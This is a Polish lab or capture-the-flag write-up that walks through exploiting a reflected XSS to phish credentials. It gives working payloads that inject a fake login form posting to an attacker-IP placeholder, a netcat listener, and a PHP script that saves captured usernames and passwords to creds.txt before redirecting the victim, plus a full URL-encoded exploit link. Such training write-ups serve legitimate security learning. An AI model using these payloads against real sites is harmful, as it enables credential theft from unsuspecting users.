Autor: adi7312
Odkrycie podatności XSS
W pierwszej kolejności musimy zidentyfikować podatność, poniższy payload wystarczył do stwierdzenia że XSS faktycznie występuje.
'><script>alert(1)</script>
Forms injection
Teraz zajmiemy się wstrzyknięciem fałszych formularzy logowania. Poniżej znajduje się przykładowy formularz:
<h3>Please login to continue</h3>
<form action=http://IP_ATAKUJACEGO>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
W celu zapisania tego formularza na stronie należy użyć document.write()
. Ostatecznie payload powinien wyglądać następująco:
'><script>document.write('<h3>Please login to continue</h3>
<form action=http://IP_ATAKUJACEGO>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>')</script>
Pomyślnie wstrzykneliśmy fałszywe formularze.
Czyszczenie strony
Póki co ofiara pewnie nie nabrałaby się na taką stronę jaką mamy teraz. Musimy pozbyć się Image URL i nawiasu znacznika. W celu pozbycia się Image URL należy skorzystać z document.getElementById().remove()
, żeby dowiedzieć się jakie id ma ten element należy skorzystać z Developer Tools. Jak widzimy id to urlform
Żeby pozbyć się znacznika na końcu payloadu musimy dać otwierający komentarz <!--
.
Ostatecznie nasz payload powinien wyglądać tak:
'><script>document.write('<h3>Please login to continue</h3>
<form action=http://IP_ATAKUJACEGO:PORT>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>'); document.getElementById('urlform').remove()</script><!--
Kradzież danych
Ustawiamy netcata żeby nasłuchiwał na porcie 1234:
sudo nc -nlvp 1234
Teraz możemy przetestować działanie naszej fałszywej strony wpisując w formluarzu jakieś dane testowe, np. test:test. Wówczas w netcat zauważymy output:
W parametrze GET dokładnie widać wpisane wartości. Jednak netcat nie do końca poprawnie obsługuje żądania HTTP, ofiara może dostać błąd Unable to connect
, co może być podejrzane, możemy więc napisać prosty skrypt w PHP który spowoduje później przekierowanie ofiary na dobrą stronę. W tym celu należy wykonać następujące polecenia:
mkdir /tmp/tmpserver
cd /tmp/tmpserver
nano index.php
W pliku index.php wpisujemy następująca zawartość przy czym pamiętamy o wpisaniu poprawnego IP.
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
$file = fopen("creds.txt", "a+");
fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
header("Location: http://SERVER_IP/phishing/index.php");
fclose($file);
exit();
}
?>
Następnie uruchamiamy serwer php.
sudo php -S 0.0.0.0:PORT
Wchodzimy teraz na stronę /phishing/send.php i wrzucamy tam nasz cały payload.
http://SITE_IP/phishing/index.php?url=%27%3E%3Cscript%3Edocument.write(%27%3Ch3%3EPlease+login+to+continue%3C%2Fh3%3E+%3Cform+action%3Dhttp%3A%2F%2FATTACK_IP%3APORT%3E+++++%3Cinput+type%3D%22username%22+name%3D%22username%22+placeholder%3D%22Username%22%3E+++++%3Cinput+type%3D%22password%22+name%3D%22password%22+placeholder%3D%22Password%22%3E+++++%3Cinput+type%3D%22submit%22+name%3D%22submit%22+value%3D%22Login%22%3E+%3C%2Fform%3E%27)%3B+document.getElementById(%27urlform%27).remove()%3C%2Fscript%3E%3C!--
Po wysłaniu payloada, w folderze /tmp/tmpserver powinien utworzyć sie plik z danymi.
W celu otrzymania flagi pozostało nam jedynie zalogować się na /phishing/login.php